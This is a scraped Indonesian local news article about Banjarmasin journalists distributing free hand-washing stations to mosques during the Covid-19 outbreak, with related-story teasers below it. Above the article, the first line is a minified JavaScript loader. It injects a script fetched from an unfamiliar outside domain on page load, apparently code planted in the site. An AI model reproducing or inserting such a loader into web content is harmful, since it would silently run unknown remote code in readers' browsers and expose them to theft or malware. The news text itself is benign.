(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Masuknya Banjarmasin dalam zona merah Covid-19, membuat prihatin semua orang, termasuk dari kalangan jurnalis. Apalagi beberapa warga Banjarmasin dinyatakan terjangkit Covid-19 dan ratusan lainnya masuk dalam status Orang Dalam Pengawasan (ODP).
Berbagai upaya pun dilakukan untuk melawan penyebaran virus mematikan ini, mulai dari penyemprotan disinfektan ke sejumlah kawasan dan pemukiman, berdiam diri di rumah dan sosial distancing hingga mengajak masyarakat selalu berperilaku hidup sehat.
Prihatin dengan kondisi wabah virus Corona ini, membuat sejumlah jurnalis di Banjarmasin mengambil langkah nyata, yaitu dengan terjun langsung dalam gerakan kemanusiaan. Hal inilah dilakukan oleh Forum Komunikasi Jurnalis Kalimantan Selatan (FKJK), merespons mewabahnya virus Covid-19 di Indonesia.
Di tengah kesibukannya melakukan peliputan, komunitas Jurnalis Sosial dan Pendidikan ini membagikan Hand Wash Station atau wadah cuci tangan gratis ke sejumlah masjid, mushola di pemukiman padat penduduk di berbagai wilayah di Banjarmasin. Sedikitnya limapuluh unit wadah cuci tangan gratis ini langsung habis dibagikan di hari pertama kegiatan, Minggu (5/4/2020).
“Kegiatan ini adalah semata-mata adalah bentuk kepedulian kami kepada masyarakat dan kota Banjarmasin. Selain kita mengedukasi untuk menjalankan perilaku hidup sehat, pembagian wadah tempat cuci tangan ini, salah satu cara untuk menangkal penyebaran virus Covid-19. Untuk awal kegiatan peduli lingkungan,sasarannya adalah masjid dan mushola, di pemukiman†Kata Muhammad Risanta, Ketua Forum Komunikasi Jurnalis Kalimantan Selatan (FKJK), kepada wartawan di sela-sela pembagian gratis wadah cuci tangan, di kawasan Kelayan A Luar Banjarmasin, Minggu (5/4/2020).
Menurut Risanta, gerakan yang mereka lakukan adalah spontan dan semata-mata tergerak untuk peduli kepada lingkungan sekitar, khususnya Banjarmasin. Demi mewujudkan gerakan kemanusiaan ini, para jurnalis pun menyisihkan sebagian honor mereka sebagai pekerja media. Untuk mendapatkan ini mereka harus kerja keras mencari ke sejumlah toko perabotan rumah tangga, karena barangnya susah dicari dan harganya sudah melambung tinggi.
Karenanya sebagai langkah awal mereka membagikan hanya 50 unit saja. Selanjutnya mereka pun akan bergerak kembali dengan membawa hand wash station ke sejumlah kampung di luar Banjarmasin.
Gerakan kemanusiaan para jurnalis ini pun mendapat apresiasi sejumlah kalangan, termasuk Walikota Banjarmasin, H. bnu Sina. Karena di tengah kesibukan sebagai salah satu garda terdepan memberikan informasi, termasuk soal wabah covid-19, sejumlah jurnalis masih sempat memikirkan masyarakat, terutama kalangan tidak mampu. Bahkan untuk mewujudkan aksi ini sebagian besar dari kocek mereka sendiri.
“Mudahan apa yang dilakukan kawan-kawan pekerja media ini mendapat berkah dan menjadi inspirasi bagi masyarakat lainnya. Kita bersama-sama melawan corona,semoga musibah ini segera berakhir,” pungkas Ibnu. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.